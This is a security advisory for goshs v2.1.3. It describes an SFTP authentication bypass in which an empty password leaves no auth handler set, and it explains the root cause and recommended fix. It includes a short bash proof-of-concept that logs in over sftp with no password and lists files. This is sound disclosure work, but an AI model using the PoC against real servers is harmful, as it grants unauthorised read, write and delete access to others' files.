GHSA-RJRW-MJQ6-HPMM
Vulnerability from github – Published: 2026-07-28 21:56 – Updated: 2026-07-28 21:56Summary
Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
HasPrefix(":") catches empty username. It does not catch empty password.
Empty Password Bypass
Same && at sftpserver.go:85. Same nil handler. Different input:
goshs -b 'admin:' -sftp
Username = "admin",Password = ""Username != "" && Password != ""→ false. Password is empty.PasswordHandlernot set. No-fkf→PublicKeyHandlernot set.- gliderlabs/ssh →
NoClientAuth = true.
CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
PoC
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
Root Cause
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
&& blocks PasswordHandler when either field is empty. || installs it when either field is set.
Incomplete Fix
Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:
&&still atsftpserver.go:85in v2.1.3- No
HasSuffix(":")check for empty password
Impact
- Unauthenticated SFTP file access (read, write, delete, rename)
- Same impact as CVE-2026-40884 via a different input
- Exploitable with
-b 'user:'and no-fkf
Affected
All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
Recommended Fix
&&→||atsftpserver/sftpserver.go:85HasSuffix(":")check atsanity/checks.go- Shared auth handler setup for HTTP and SFTP code paths
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.3"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.1.3"
]
},
{
"package": {
"ecosystem": "Go",
"name": "goshs.de/goshs/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.3"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.1.3"
]
}
],
"aliases": [
"CVE-2026-62325"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T21:56:28Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nStart goshs v2.1.3 with `-b \u0027admin:\u0027 -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b \u0027:pass\u0027`). The empty-password variant bypasses that fix.\n\n## CVE-2026-40884\n\n**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b \u0027:pass\u0027` with `-sftp`. `sftpserver.go:85` uses `\u0026\u0026`:\n\n```go\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {\n return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 \u0026\u0026 subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1\n }\n}\n```\n\nEmpty username \u2192 `Username != \"\"` false \u2192 `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.\n\nPatrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:\n\n```go\nif opts.FTP \u0026\u0026 opts.FTPSFTPMode \u0026\u0026 strings.HasPrefix(opts.BasicAuth, \":\") {\n logger.Fatal(\"When using SFTP with password authentication, the username cannot be empty. ...\")\n}\n```\n\n`HasPrefix(\":\")` catches empty username. It does not catch empty password.\n\n## Empty Password Bypass\n\nSame `\u0026\u0026` at `sftpserver.go:85`. Same nil handler. Different input:\n\n```\ngoshs -b \u0027admin:\u0027 -sftp\n```\n\n- `Username = \"admin\"`, `Password = \"\"`\n- `Username != \"\" \u0026\u0026 Password != \"\"` \u2192 false. Password is empty.\n- `PasswordHandler` not set. No `-fkf` \u2192 `PublicKeyHandler` not set.\n- gliderlabs/ssh \u2192 `NoClientAuth = true`.\n\nCVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`\u0026\u0026`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nHOST=\"${1:-127.0.0.1}\"\nPORT=\"${2:-2121}\"\n\necho \"[*] Connecting to goshs SFTP at $HOST:$PORT with empty password...\"\necho \"ls -la /\" | sftp -o StrictHostKeyChecking=no \\\n -o UserKnownHostsFile=/dev/null \\\n -o PreferredAuthentications=none,password \\\n -o PubkeyAuthentication=no \\\n -P \"$PORT\" -b - admin@\"$HOST\" 2\u003e\u00261 \u0026\u0026 \\\n echo \"[+] VULNERABLE: Connected without password!\" || \\\n echo \"[-] Connection failed (patched or not running)\"\n```\n\n## Root Cause\n\n```go\n// Wrong: \u0026\u0026\nif s.Username != \"\" \u0026\u0026 s.Password != \"\" {\n\n// Correct: ||\nif s.Username != \"\" || s.Password != \"\" {\n```\n\n`\u0026\u0026` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.\n\n## Incomplete Fix\n\nPatrickhener added `HasPrefix(\":\")` at `sanity/checks.go:116`. Two gaps remain:\n\n1. `\u0026\u0026` still at `sftpserver.go:85` in v2.1.3\n2. No `HasSuffix(\":\")` check for empty password\n\n## Impact\n\n- Unauthenticated SFTP file access (read, write, delete, rename)\n- Same impact as CVE-2026-40884 via a different input\n- Exploitable with `-b \u0027user:\u0027` and no `-fkf`\n\n## Affected\n\nAll goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.\n\n## Recommended Fix\n\n1. `\u0026\u0026` \u2192 `||` at `sftpserver/sftpserver.go:85`\n2. `HasSuffix(\":\")` check at `sanity/checks.go`\n3. Shared auth handler setup for HTTP and SFTP code paths",
"id": "GHSA-rjrw-mjq6-hpmm",
"modified": "2026-07-28T21:56:28Z",
"published": "2026-07-28T21:56:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-rjrw-mjq6-hpmm"
},
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/commit/32f4a0e1790a709f722d0f3b2341f139d003180a"
},
{
"type": "PACKAGE",
"url": "https://github.com/goshs-labs/goshs"
},
{
"type": "WEB",
"url": "https://github.com/goshs-labs/goshs/releases/tag/v2.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.